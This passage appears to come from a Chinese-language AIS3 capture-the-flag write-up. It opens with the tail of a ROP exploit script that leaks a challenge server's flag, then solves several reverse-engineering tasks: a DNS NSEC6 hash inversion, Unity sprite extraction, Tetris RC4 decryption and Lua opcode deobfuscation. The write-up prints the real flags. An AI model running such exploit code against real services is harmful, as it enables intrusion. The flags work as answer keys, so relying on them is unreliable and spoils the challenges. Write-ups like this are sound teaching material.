        PRINT_STAGE,
    )
    first_stage = b"Y" + b"A" * 87 + rop

    frame = bytearray(0x300)

    def write_qword(address: int, value: int) -> None:
        start = address - BSS_BASE
        frame[start : start + 8] = p64(value)

    write_qword(DUMMY_INT, 1337)
    write_qword(FAKE_RBP - 0x30, 0xB)                 # "Value: {2}\n" 的長度
    write_qword(FAKE_RBP - 0x28, FORMAT_VALUE_2)      # format string 位址
    write_qword(FAKE_RBP - 0x38, DUMMY_INT)
    write_qword(FAKE_RBP - 0x40, DUMMY_INT)
    write_qword(FAKE_RBP - 0x48, FLAG + offset)       # 第三個 int& → flag
    write_qword(FAKE_RBP, 0)
    write_qword(FAKE_RBP + 8, EXIT_PLT)

    return first_stage, bytes(frame)


def leak_dword(offset: int) -> bytes:
    """Leak four bytes from FLAG + offset."""
    first_stage, frame = build_payloads(offset)

    io = remote(HOST, PORT, timeout=8)
    io.recvline(timeout=4)
    io.send(first_stage)
    sleep(0.15)
    io.send(frame)
    output = io.recvall(timeout=5)
    io.close()

    marker = b"Value: "
    start = output.index(marker) + len(marker)
    end = output.index(b"\n", start)
    value = int(output[start:end]) & 0xFFFFFFFF
    return p32(value)


def main() -> None:
    flag = b""
    for offset in range(0, 128, 4):
        chunk = leak_dword(offset)
        flag += chunk
        if b"}" in flag or b"\x00" in chunk:
            break

    print(flag.split(b"\x00", 1)[0].decode().strip())


if __name__ == "__main__":
    main()

每四個 byte 重連一次，把印出來的 signed decimal 轉回 little-endian 32-bit，看到 } 就停。

1
AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

Reverse

DG Server (Rev)

跟 pwn 那題同一顆 binary，但這次端點是 chals1.ais3.org:53573，而且要走 rev 的路。附了一份 500 行的 scripts/dg-verify.py，走一條類 DNSSEC 的信任鏈 . → sleeping. → curious.sleeping.，最後印出 www.curious.sleeping. 的 A 紀錄。

1
python3 extracted/scripts/dg-verify.py @chals1.ais3.org:53573 www.curious.sleeping A
1
2
3
4
5
6
7
== . DNSKEY ==
. DNSKEY 257 3 15 0EsttfsYDwuEXUQUP7wel2Ph323yfcRMv2lwAYbm50E=
. DNSKEY 256 3 15 EuFInqPPrU9zqUabrbIp/DJaCKK0qbQdmikW6qR875g=
...
== www.curious.sleeping. A ==
www.curious.sleeping. A 67.67.67.67
OK www.curious.sleeping. A 67.67.67.67

簽章全過、鏈條完整、沒有 flag。但驗證腳本只支援 A、NS、MX，我不受它限制，我是用 raw HTTP 在跟 server 講話，可以自己刻請求。

1
strings extracted/dg-server | grep -E 'TXT|NSEC6|RRSIG'
1
2
3
4
5
%s TXT "%s"
%sTXT
%sRRSIG NSEC6
%s NSEC6 %02x %02x %04x %s %s %s
NSEC6

server 支援 TXT 跟 NSEC6。NSEC6 是作者自製的 NSEC3 變體，一種「不存在性」紀錄，用查詢名稱雜湊的字典序鄰居來證明某個名字不存在。重點是：它會洩漏存在的名字的雜湊。

寫個最小 client 開始戳：

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
def q(name, t):
    req = (f'GET /dns-query?name={name}&type={t} HTTP/1.1\r\n'
           f'Host: chals1.ais3.org\r\nAccept: application/dns-json\r\n'
           f'Connection: close\r\n\r\n').encode()
    s = socket.create_connection(('chals1.ais3.org', 53573), timeout=5)
    s.sendall(req); data = b''
    while chunk := s.recv(4096): data += chunk
    return data.decode('utf-8','replace').split('\r\n\r\n',1)[-1].strip()

for n in ['curious.sleeping.', 'www.curious.sleeping.',
          'flag.curious.sleeping.']:
    print(n, '=>', q(n, 'TXT'))
1
2
3
curious.sleeping. TXT "v=spf1 mx -all"
www.curious.sleeping. -> NXDOMAIN ... NSEC6 ... H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI ... H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI A RRSIG NSEC6
flag.curious.sleeping. -> NXDOMAIN ... 同一筆 NSEC6 紀錄

順手猜個 _dmarc 也中了：

1
_dmarc.curious.sleeping. TXT "v=DMARC1; p=none; rua=mailto:hostmaster@curious.sleeping"

然後我注意到一件很奇怪的事：curious.sleeping. 底下所有雜湊都共用 H46HSBFKHOSNE 這麼長的前綴。密碼學雜湊不該長這樣。

多丟幾個落在不同缺口的不存在名字，把整條 NSEC6 環拼出來：

owner（base32 雜湊） next 雜湊 類型
H46HSBFKHOSNE78MEU8JB18JA7N4IUGI H46HSBFKHOSNE79276V7EUQ3RFHKIUGI apex
H46HSBFKHOSNE79276V7EUQ3RFHKIUGI H46HSBFKHOSNE79289JNUUQ3RFHKIUGI A RRSIG NSEC6（未知）
H46HSBFKHOSNE79289JNUUQ3RFHKIUGI H46HSBFKHOSNE792DA5FGUQ3RFHKIUGI A RRSIG NSEC6（ns1）
H46HSBFKHOSNE792DA5FGUQ3RFHKIUGI H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI A RRSIG NSEC6（未知）
H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI A RRSIG NSEC6（www）
H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI H46HSBFKHOSNE7FP2CD05BFU13HKIUGI A RRSIG NSEC6（mail）
H46HSBFKHOSNE7FP2CD05BFU13HKIUGI H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI TXT RRSIG NSEC6（_dmarc）
H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI S6NPJID2K4SNE7AB754D34I8IK3E8TKJ TXT RRSIG NSEC6（未知 — 只有 TXT！）
S6NPJID2K4SNE7AB754D34I8IK3E8TKJ 環回 apex （未知）

小字典暴搜 A 紀錄補掉兩個：

1
2
3
for cand in ['api', 'ftp', 'mail', ...]:
    if 'NXDOMAIN' not in q(f'{cand}.curious.sleeping.', 'A'):
        print(cand)
1
2
api 73.31.13.37
ftp 67.76.67.76

還剩兩個未知，其中一個只有 TXT 紀錄，那壓倒性就是 flag 所在。但我試了上千個常見子網域字串，一個都沒中。字典暴搜這條路死了，必須直接從雜湊反推 label。

NSEC6 紀錄開頭是 2e 426 0009 73311337（alg=0x2e、9 次迭代、salt 0x73311337）。0x2e 不是任何標準演算法。用 binary 裡看得到的字母表解碼看看：

1
2
3
4
ALPH = "0123456789ABCDEFGHIJKLMNOPQRSTUV"
def decode32(s):
    bits = "".join(format(ALPH.index(c), '05b') for c in s)
    return bytes(int(bits[i:i+8], 2) for i in range(0, (len(bits)//8)*8, 8))
1
2
3
4
5
6
7
8
9
apex     89 0d 1e 2d f4 8e 39 77 1d 16 77 91 35 85 13 51 ee 49 7a 12
api      89 0d 1e 2d f4 8e 39 77 1d 22 39 be 77 7b 43 db e3 49 7a 12
ns1      89 0d 1e 2d f4 8e 39 77 1d 22 42 67 7f 7b 43 db e3 49 7a 12
ftp      89 0d 1e 2d f4 8e 39 77 1d 22 6a 8a f8 7b 43 db e3 49 7a 12
www      89 0d 1e 2d f4 8e 39 77 1d 22 db 13 e1 7b 43 db e3 49 7a 12
mail     89 0d 1e 2d f4 8e 39 77 1d 2f d5 85 76 8f 43 db e3 49 7a 12
_dmarc   89 0d 1e 2d f4 8e 39 77 1d f9 13 1a 02 ad fe 08 e3 49 7a 12
unk-TXT  89 0d 1e 2d f4 8e 39 77 1d f9 27 8a ae 92 95 38 e3 49 7a 12
unk-2    e1 af 99 c9 a2 a1 39 77 1d 4b 39 48 d1 92 48 95 06 e4 76 93

看得很清楚：byte 0…8 每個短 label 都一樣；byte 13…19 每個長度 3 的 label 都一樣；byte 9 只跟 label 長度有關（3 字元 0x22、4 字元 0x2f、6 字元 0xf9）；只有 byte 10…12 才真的跟著字元變。

這不是雜湊。它只是重排位置加上便宜的逐位元轉換，完全不在 20-byte state 裡跨位置混合資料。

進 radare2 挖出確切演算法。格式字串 %s NSEC6 %02x %02x %04x %s %s %s 在 0x7cb5c8，被 fcn.00406d91 引用，沿著資料流上溯找到建構器 fcn.00405a23：

位址 行為
fcn.0040532f label_encode(qname, out20)：out20[0] = first_label_len，後面接第一個 label 的 bytes
fcn.00405626 hash1(qname, key, out20)：非密碼學的 32-bit mixer
0x405abe 行內迴圈 for i in 0..19: hash1_out[i] |= key_a[i]
fcn.0040588c byte_add20(a, b, out)：20-byte 大端加法
fcn.00405756 iter9(state, key_b, 9)：9 輪，每輪先右旋 1 byte，再 state[i] = (state[i] ^ key_b[(r+i)%20]) + (r*17+i)
fcn.00405909 base32 編碼

現在看那個 OR。OR 是破壞性的：如果 key_a[i] = 0xFF，那不管 hash1[i] 是什麼，hash1[i] | 0xFF 永遠是 0xFF，那個 byte 的 hash 貢獻整個消失。

輪函式不跨位置混合，所以輸入位置 p0 的 byte 最終落在 (p0 + 9) mod 20，而且只依賴 state_in[p0]：

1
2
3
4
5
6
7
8
def trace_byte(p0, x, key_b, rounds=9):
    b = x
    for r in range(rounds):
        pos   = (p0 + r + 1) % 20      # 第 r 輪旋轉後的位置
        k_idx = (r + pos) % 20
        c     = (r * 17 + pos) & 0xFF
        b = ((b ^ key_b[k_idx]) + c) & 0xFF
    return b

看輸出位置 8，它對應 p0 = (8-9) mod 20 = 19。每個 label 都短到 label_encoded[19] = 0，所以 state_in[19] = hash1[19] | key_a[19]。而觀察到的輸出 byte 0x1d 在每個名字上都一樣。trace_byte 對輸入是雙射，所以 state_in[19] 是常數；hash1[19] 會隨 qname 變，要讓 OR 之後還是常數，只有 key_a[19] = 0xFF 一種可能。

對每個跨所有名字都一致的輸出位置套同樣論證，結論是 key_a 全部 20 個 byte 都是 0xFF。於是：

1
2
state_in = byte_add20(label_encoded, 0xFF * 20)
         = label_encoded - 1   (大端、mod 2^160)

整段 qname、secret、hash1 mixer 全部變得無關。NSEC6 雜湊只是對第一個 label 做的一個固定置換。知道 key_b 就能反過來。

七個已知 label 給我 140 條 byte 級方程式對 20 個未知 byte，丟給 Z3：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from dg_hash import b32_decode
from z3 import BitVec, BitVecVal, Solver, sat

KNOWN = [
    ("curious", "H46HSBFKHOSNE78MEU8JB18JA7N4IUGI"),
    ("api",     "H46HSBFKHOSNE79276V7EUQ3RFHKIUGI"),
    ("ns1",     "H46HSBFKHOSNE79289JNUUQ3RFHKIUGI"),
    ("ftp",     "H46HSBFKHOSNE792DA5FGUQ3RFHKIUGI"),
    ("www",     "H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI"),
    ("mail",    "H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI"),
    ("_dmarc",  "H46HSBFKHOSNE7FP2CD05BFU13HKIUGI"),
]

def state_in_for(label):
    le = bytearray(20); le[0] = len(label)
    for i, c in enumerate(label.encode()): le[1+i] = c
    return ((int.from_bytes(le, "big") - 1) % (1 << 160)).to_bytes(20, "big")

s = Solver()
key_b = [BitVec(f"k{i}", 8) for i in range(20)]
for label, h in KNOWN:
    out = b32_decode(h); si = state_in_for(label)
    for p_out in range(20):
        p0 = (p_out - 9) % 20
        b = BitVecVal(si[p0], 8)
        for r in range(9):
            pos   = (p0 + r + 1) % 20
            k_idx = (r + pos) % 20
            c     = (r*17 + pos) & 0xFF
            b = (b ^ key_b[k_idx]) + BitVecVal(c, 8)
        s.add(b == out[p_out])

assert s.check() == sat
m = s.model()
print(bytes(m[k].as_long() for k in key_b).hex())
1
2
sat
key_b = 7226efeef666f4e87fef3efc136c57f3ec92de2b

七個已知 label 重新編碼，bit-for-bit 全對。接著反過來跑：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def trace_reverse(p_out, y, key_b, rounds=9):
    p0 = (p_out - rounds) % 20
    b = y
    for r in range(rounds - 1, -1, -1):
        pos   = (p0 + r + 1) % 20
        k_idx = (r + pos) % 20
        c     = (r*17 + pos) & 0xFF
        b = ((b - c) & 0xFF) ^ key_b[k_idx]
    return b

key_b = bytes.fromhex("7226efeef666f4e87fef3efc136c57f3ec92de2b")

for h in ["H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI",   # 只有 TXT 的未知
          "S6NPJID2K4SNE7AB754D34I8IK3E8TKJ"]:  # 另一個未知
    out = b32_decode(h)
    state_in = bytearray(20)
    for p_out in range(20):
        p0 = (p_out - 9) % 20
        state_in[p0] = trace_reverse(p_out, out[p_out], key_b)
    le = ((int.from_bytes(state_in, "big") + 1) % (1 << 160)).to_bytes(20, "big")
    print(h, "->", le[0], "/", le[1:1+le[0]].decode())
1
2
H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI -> 6  / status
S6NPJID2K4SNE7AB754D34I8IK3E8TKJ -> 16 / azft0azxct7utcyw

azft0azxct7utcyw。難怪字典暴搜挖不到。

1
2
3
for name in ['status.curious.sleeping.',
             'azft0azxct7utcyw.curious.sleeping.']:
    print(name, '=>', q(name, 'TXT'))
1
2
status.curious.sleeping. TXT "service=ok; region=moon"
azft0azxct7utcyw.curious.sleeping. TXT "AIS3{w4lking_0n_D0H_z0n3--NSEC...NSEC6!_666~~~}"

AIS3{w4lking_0n_D0H_z0n3–NSEC…NSEC6!_666~~~}

Hidden in the Cloak

題目敘述：

在這個屠殺史萊姆的遊戲裡, 角色身上的披風被黏液沾滿了, 他覺得很不舒服.
(角色: “RPG game 裡面不是這樣的, 你怎麼可以這樣對待我的披風!?”)

而且 flag 字元集刻意排除 i、l、o（[a-hj-kmnp-z0-9_]），讀出來之後可以拿這條規則回頭驗證。

解開之後是標準的 Unity Windows build：

1
2
3
4
5
6
7
8
9
10
B/
├── Reverse1.exe
├── UnityPlayer.dll
└── Reverse1_Data/
    ├── Managed/
    │   └── Assembly-CSharp.dll        ← 遊戲 C# 程式碼
    └── StreamingAssets/
        └── bundles/
            ├── character_main         ← AssetBundle（角色美術 + 骨架）
            └── shared / effects / ui_common / bgm

先做最便宜的一步：

1
2
ilspycmd Assembly-CSharp.dll -o decompiled/
grep -RInE "AIS3\{|flag" decompiled/

managed code 裡完全沒有 AIS3{...}，也沒有任何混淆過的字串組裝。所以 flag 不在程式碼裡，只剩那個以角色命名的 asset bundle。

1
pip install UnityPy pillow numpy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# extract.py
import UnityPy

BUNDLE = "B/Reverse1_Data/StreamingAssets/bundles/character_main"

env = UnityPy.load(BUNDLE)
for obj in env.objects:
    data = obj.read()
    if obj.type.name == "Texture2D":
        data.image.save(f"{data.m_Name}.png")
    elif obj.type.name == "TextAsset":
        raw = data.m_Script
        b = raw.encode() if isinstance(raw, str) else bytes(raw)
        with open(f"{data.m_Name}.txt", "wb") as f:
            f.write(b)

跑出三個檔案：character.png（1024 × 512 RGBA）、character.atlas.txt（列出 64 個 r001…r064 區域）、character.txt（JSON 骨架）。這三個合起來就是標準的 Spine 2D 骨骼動畫封裝。

雙擊 character.png 會看到一張幾乎全白的圖。這是個誤導，PNG 有 alpha 通道，而多數看圖軟體把透明像素疊在白底上。直接檢查 alpha：

1
2
3
4
5
6
from PIL import Image
import numpy as np

arr = np.array(Image.open("character.png").convert("RGBA"))
a = arr[:, :, 3]
print("alpha min/max/mean:", a.min(), a.max(), a.mean())
1
alpha min/max/mean: 0 255 58.6

完全不均勻。疊到黑底上：

1
2
3
4
5
from PIL import Image

img = Image.open("character.png").convert("RGBA")
bg = Image.new("RGBA", img.size, (0, 0, 0, 255))
Image.alpha_composite(bg, img).convert("RGB").save("character_on_black.png")

原本「空白」的 atlas 現在滿滿都是字形 sprite：四條寬的單字條 AIS3{、d0n7_70、uch_my_、c4p3_0k_，一堆單一字元 b、3、f、1、e、7、6、8、}，再加一大堆誘餌字元。

但這些 sprite 是為了「儲存」打包的，不是按閱讀順序排的。要靠骨架 JSON 才知道哪些真的被用到、順序是什麼。

character.txt 裡三個區塊，一個一個看。bones：

1
2
3
4
5
6
"bones": [
  {"name": "root"},
  {"name": "b013", "parent": "root", "x": 0, "y": 0},
  {"name": "b014", "parent": "root", "x": 0, "y": 0},
  {"name": "b025", "parent": "root", "x": 0, "y": 0}
]

13 根骨頭 b013…b025 全是 root 的子節點，局部座標全是 (0, 0)。在 Spine 裡每個 sprite 都相對它的骨頭繪製，所以預設狀態下這 13 個 sprite 全部疊在同一個位置。那一團就是「黏在披風上的黏液」。

slots 告訴我哪根骨頭帶哪個 sprite：

1
2
3
4
5
"slots": [
  {"name": "s013", "bone": "b013", "attachment": "r037"},
  {"name": "s014", "bone": "b014", "attachment": "r017"},
  {"name": "s025", "bone": "b025", "attachment": "r042"}
]

64 個 region 裡只有 13 個是真的，其餘全是烘焙進紋理的誘餌。

然後是關鍵的動畫 emote_a：

1
2
3
4
5
6
7
"animations": {
  "emote_a": {"bones": {
    "b013": {"translate": [{"time": 0.0, "x": 0}, {"time": 0.75, "x": -415.5}]},
    "b014": {"translate": [{"time": 0.0, "x": 0}, {"time": 0.75, "x": -281.5}]},
    "b025": {"translate": [{"time": 0.0, "x": 0}, {"time": 0.75, "x":  453.5}]}
  }}
}

t = 0 全部 x = 0（疊成一團），t = 0.75 每根骨頭跑到一個唯一的 X 座標，範圍大概 -415 到 +453。這個動畫真的就是「把黏液甩掉」，把疊著的 sprite 從左到右攤開。攤開後的 X 座標就是閱讀順序。

Bone Final X @ t=0.75 Slot Atlas region Sprite contents
b013 −415.5 s013 r037 AIS3{
b014 −281.5 s014 r017 d0n7_70
b015 −128.0 s015 r016 uch_my_
b016 35.5 s016 r034 c4p3_0k_
b017 141.5 s017 r047 b
b018 180.5 s018 r031 3
b019 219.5 s019 r050 f
b020 258.5 s020 r032 1
b021 297.5 s021 r022 e
b022 336.5 s022 r039 7
b023 375.5 s023 r058 6
b024 414.5 s024 r043 8
b025 453.5 s025 r042 }

完整的 solver（步驟都是機械式的，只有「用眼睛讀那 13 張裁切圖」需要手動，大概花一分鐘）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# solve.py
import UnityPy, json, re, os
from PIL import Image

BUNDLE = "B/Reverse1_Data/StreamingAssets/bundles/character_main"
OUT    = "crops"
os.makedirs(OUT, exist_ok=True)

# 1. Extract atlas image, atlas text, skeleton JSON from the bundle.
env = UnityPy.load(BUNDLE)
for obj in env.objects:
    d = obj.read()
    if obj.type.name == "Texture2D" and d.m_Name == "character":
        d.image.save("character.png")
    elif obj.type.name == "TextAsset":
        raw = d.m_Script
        b = raw.encode() if isinstance(raw, str) else bytes(raw)
        with open(f"{d.m_Name}.txt", "wb") as f:
            f.write(b)

skel  = json.loads(open("character.txt").read())
atlas = open("character.atlas.txt").read()
img   = Image.open("character.png").convert("RGBA")

# 2. Parse atlas regions ("r037" -> (x, y, w, h)).
regions = {}
pattern = r"(r\d+)\n\s+rotate: \w+\n\s+xy: (\d+), (\d+)\n\s+size: (\d+), (\d+)"
for m in re.finditer(pattern, atlas):
    name = m.group(1)
    x, y, w, h = map(int, m.groups()[1:])
    regions[name] = (x, y, w, h)

# 3. slot -> region (default skin).
slot_region = {
    s: list(a.values())[0]["path"]
    for s, a in skel["skins"][0]["attachments"].items()
}

# 4. Order slots by their target X in emote_a (the cloak-shake animation).
order = []
for bone_name, channels in skel["animations"]["emote_a"]["bones"].items():
    if "translate" not in channels:
        continue
    peak_x = max(channels["translate"], key=lambda k: k["time"])["x"]
    bone_idx = int(bone_name[1:])
    order.append((peak_x, f"s{bone_idx:03d}"))
order.sort()

# 5. Crop every used region into PNGs so we can read them by eye.
bg = Image.new("RGBA", img.size, (0, 0, 0, 255))
flat = Image.alpha_composite(bg, img)
for _, slot in order:
    region = slot_region[slot]
    x, y, w, h = regions[region]
    flat.crop((x, y, x + w, y + h)).save(f"{OUT}/{slot}_{region}.png")

# 6. After eyeballing crops/, fill in the table and print the flag.
sprite = {
    "r037": "AIS3{", "r017": "d0n7_70", "r016": "uch_my_", "r034": "c4p3_0k_",
    "r047": "b",     "r031": "3",       "r050": "f",       "r032": "1",
    "r022": "e",     "r039": "7",       "r058": "6",       "r043": "8",
    "r042": "}",
}
flag = "".join(sprite[slot_region[s]] for _, s in order)
print(flag)
1
AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}

拿 flag regex ^AIS3\{[a-hj-kmnp-z0-9_]+\}$ 回頭檢查：沒有 i、l、o，過。

AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}

tetris，簡單

我知道你很會玩俄羅斯方塊的…能請你幫玩嗎？

給一顆靜態連結、stripped 的 Linux x86-64 ELF。遊戲裡藏了 flag 產生邏輯，要把方塊擺成特定圖案才會算出來。我是在 macOS 上分析，沒辦法直接跑這顆 Linux binary，所以全程用 objdump + Python 靜態逆，目標是不執行原程式就把 flag 還原出來。

1
2
3
4
5
$ file tetris
tetris: ELF 64-bit LSB executable, x86-64, ... statically linked, ..., stripped

$ readelf -h tetris | grep Entry
Entry point address: 0x404550
1
$ strings tetris > strings.txt
1
2
3
4
5
[1;36mTETRIS - Score: %d | Lines: %d
Press any key to continue...
Game Over! Final Score: %d
Lines Cleared: %d
nclears >= 3

最後那條 nclears >= 3 是 C++ STL vector::at() 的邊界檢查訊息，代表程式用了 std::vector 存 line clear 資料。

Entry point 0x404550 是 glibc 的 _start，它呼叫 __libc_start_main，第一個參數就是 main 的位址 0x15c4017。這附近程式大量用了 anti-disassembly 技巧：eb ff（jmp 到自己的下一個位元組）會讓 objdump 的解讀偏移，後面的指令全部被誤讀。

在 0x15c3000 有個關鍵函式，比對玩家當前盤面跟預期盤面：

1
2
3
4
5
6
15c3016: mov    0x4e59e7(%rip),%eax      # 從當前遊戲盤面載入
15c306f: lea    0x17416a(%rip),%rax      # 0x17371e0（目標盤面）
15c3076: mov    (%rdx,%rax,1),%eax       # 載入目標盤面的值
15c3079: cmp    %eax,%ecx                # 比較
15c307b: setne  %al
15c3080: je     0x15c308c                # 若不符則設定失敗旗標

逐一比對 4 rows × 10 columns 共 40 個 cell，全中才進入 flag 產生流程。目標盤面在 .rodata 的 0x17371e0：

1
2
3
4
Row 0:  5  0  5  0  1  0  4  4  4  0
Row 1:  5  5  5  0  1  0  4  0  0  0
Row 2:  5  0  5  0  1  0  0  4  4  0
Row 3:  5  0  5  0  1  0  4  4  0  3

0x15c1a6e 那個函式吃目標盤面（rdi）跟輸出緩衝區（rsi = 0x1aa8a40），先算 FNV-1a：

1
15c1ae6: movl   $0x811c9dc5,-0x4(%rbp)   # FNV offset basis

再用 glibc rand() 的 LCG 把 hash 展成 24 bytes 的 key：

1
2
3
15c1bdd: imul   $0x41c64e6d,%eax,%eax    # hash *= 1103515245
15c1be3: add    $0x3039,%eax             # hash += 12345
15c1be8: and    $0x7fffffff,%eax         # hash &= 0x7fffffff

然後在 0x15c31ef：

1
2
3
4
5
15c31ef: mov    $0x18,%ecx               # key 長度 = 24 bytes
15c31f4: lea    0x1aa8a40,%rax           # RC4 key = FNV+LCG 產生的 24 bytes
15c31fe: mov    $0x1c,%esi               # 輸出長度 = 28 bytes
15c3203: lea    0x1aa8a60,%rax           # 目的地 = 被 memcpy 複製的加密資料
15c320d: call   0x15c1c61                # RC4 解密

是 RC4。加密資料在 .data（file offset 0x16a5130）：

1
2
2e a5 56 46 0d 7c 8e dc 83 6f 30 83 ff f8 a5 5c
d0 76 d8 cd 99 dc 3f 39 9d 65 70 64

全部串起來用 Python 重跑一遍：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import struct

# 1. 讀取目標盤面
with open('tetris', 'rb') as f:
    f.seek(0x13371e0)
    data = f.read(160)
board = []
for i in range(0, 160, 4):
    board.append(struct.unpack_from('<I', data, i)[0])

# 2. FNV-1a hash
hash_val = 0x811c9dc5
for row in range(4):
    for col in range(10):
        hash_val ^= board[row * 10 + col]
        hash_val &= 0xffffffff
        hash_val = (hash_val * 0x01000193) & 0xffffffff

# 3. 產生 RC4 key (24 bytes)
key = []
for i in range(24):
    shift = (i % 4) * 8
    key.append((hash_val >> shift) & 0xff)
    hash_val = (hash_val * 0x41c64e6d + 0x3039) & 0x7fffffff

# 4. RC4 解密加密 flag
with open('tetris', 'rb') as f:
    f.seek(0x16a5130)
    encrypted = f.read(28)

S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + key[i % 24]) & 0xff
    S[i], S[j] = S[j], S[i]

i = j = 0
result = bytearray()
for byte in encrypted:
    i = (i + 1) & 0xff
    j = (j + S[i]) & 0xff
    S[i], S[j] = S[j], S[i]
    result.append(byte ^ S[(S[i] + S[j]) & 0xff])

print(result.decode())
1
AIS3{T3tr1s_P4tt3rn_M4st3r!}

一次都沒玩到俄羅斯方塊。

AIS3{T3tr1s_P4tt3rn_M4st3r!}

ㄌㄨㄚˋ

三個檔案：改造過的 Lua 5.1 編譯器 luac_stripped.exe、它產出的 secret.luac、還有同一份原始碼用原版 luac 編的 secret_standard.luac。

1
2
3
4
$ file extracted/*
luac_stripped.exe    : PE32+ executable (console) x86-64
secret.luac          : Lua bytecode, version 5.1   (1906 bytes)
secret_standard.luac : Lua bytecode, version 5.1   (1905 bytes)

secret.luac 的 header 是合法 Lua 5.1，但直接餵給標準 lua5.1 會在第一個未知 opcode 就 abort。而 secret_standard.luac 跑得起來，會 prompt 使用者輸入 → io.read → 呼叫檢查 function → 印 good / no，等於免費送我原始碼層級的程式骨架。

兩個 .luac 逐 byte 比對：header 到 0x136 完全一樣（常數表、debug info），從 0x136 開始 opcode 部分全變了。secret.luac 尾端還多了 6 bytes 19 93 0d 0a 1a 0a，那是 Lua 5.2 header 簽章的尾巴，純粹是個 tripwire，VM 不會讀它。

所以原始碼相同，被改的只有「編譯器怎麼寫指令」。用 radare2 看 sym.DumpFunction，找到兩件 vanilla Lua 不該有的事：

  1. numparams 被覆寫成常數才寫進函式 header，每個子函式蓋不同的魔術值：7, 18, 29, 40, 51, 62, 9。這個值就是該函式的 XOR key。
  2. 每條指令在寫檔前再做一次 4-byte XOR，mask 是 key ^ 0x2B ^ (15 * pc + 17)，只覆蓋低 6 bit，所以只動 opcode 欄位，A/B/C 不受影響。
1
2
3
4
stored_op = (real_op ^ numparams ^ 0x2B ^ ((15 * pc + 17) & 0x3F)) & 0x3F
stored_A  = real_A
stored_B  = real_B
stored_C  = real_C

再來是 opcode permutation。OpMode[] 表在 .rdata:0x21c60（38 bytes），但這顆 binary 的表是被洗過的。策略是：lcode.c 裡每個 emitter 都會寫死自己要 emit 的 opcode 編號，在 binary 裡找這些常數再對照標準 enum：

標準 opcode emitter r2 看到的常數
OP_JMP = 22 luaK_jump 10
OP_SELF = 11 luaK_self 20
OP_RETURN = 30 luaK_ret 30
OP_SETLIST = 34 constructor 33
OP_VARARG = 37 parlist 32
OP_CLOSURE = 36 body 31
OP_TFORLOOP = 33 forbody 19
OP_FORLOOP = 31 forbody 18
OP_FORPREP = 32 forbody 17

luaK_posfix 跟 luaK_prefix 內部用 switch 處理二元運算，會連續 emit OP_ADD..OP_LE 共 12 個 opcode，把 jump table 抓出來就一次補齊 ADD/SUB/MUL/DIV/MOD/POW/CONCAT/EQ/LT/LE。38 個 entry 全部釘死之後就能翻譯了。

1
2
3
mask = (numparams ^ 0x2B ^ ((15 * pc + 17) & 0x3F)) & 0x3F
op_perm = (word & 0x3F) ^ mask
op_std  = inv_perm[op_perm]

有個眉角：dumper 會把假的 numparams 寫進函式 header，所以解 obfuscation 的工具必須讀 stored 值來算 XOR，不能假設它是真實參數量。

還原成標準 bytecode 之後餵進 decoder，拿到 7 個 proto。跟 flag 有關的部分手工還原成 Lua：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-- f0(a, b)：對 8 bits 做 XOR，回傳整數。
local function f0(a, b)
    local r, p = 0, 1
    for i = 0, 7 do
        local x = a % 2
        local y = b % 2
        if x ~= y then r = r + p end
        a = (a - x) / 2
        b = (b - y) / 2
        p = p * 2
    end
    return r
end

-- f1(t, A, B, C)：對每個 element 做減法變換。
local function f1(t, A, B, C)
    local o = {}
    for i = 1, #t do
        o[i] = (t[i] - A - ((i - 1) * B) % C) % 256
    end
    return o
end

-- f2(a, b)：把兩個等長陣列交錯。
-- f3() 用 f1 把寫死的陣列轉成 T1（長度 11）。
-- f4() 用 f1 + f2 把兩條寫死陣列轉成 T2（長度 33）。

local T1 = f3()    -- 11 bytes
local T2 = f4()    -- 33 bytes  <-- 預期 flag 長度

local function f5(input)
    if #input ~= #T2 then return false end
    local state = 0
    for i = 1, #T2 do
        local b   = string.byte(input, i)
        local key = T1[((i - 1) % #T1) + 1]
        local s1  = (b + i + state) % 256
        local s2  = (key + 7 * (i - 1)) % 256
        local s3  = f0(key, i - 1) % 13
        local r   = (f0(s1, s2) + s3) % 256
        if r ~= T2[i] then return false end
        state = (state + b * (i + 1)) % 256
    end
    return state == 229
end

f3 / f4 直接 static 跑出來：

1
2
3
4
5
T1 (11) = [23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77]
T2 (33) = [158, 35, 172, 11, 160, 217, 123, 62, 248, 242,
            88, 51, 84, 125, 92, 152, 46, 62, 166, 147,
            23, 73, 80, 220, 153, 6, 67, 13, 195, 5,
            91, 6, 32]

#T2 = 33 所以 flag 是 33 個 ASCII byte。f5 是 per-byte 的方程式，state 只依賴前面的 byte，可以從頭直接推：

1
2
3
4
5
6
key   = T1[((i-1) % 11) + 1]
s2    = (key + 7*(i-1)) % 256
s3    = (key XOR (i-1)) % 13
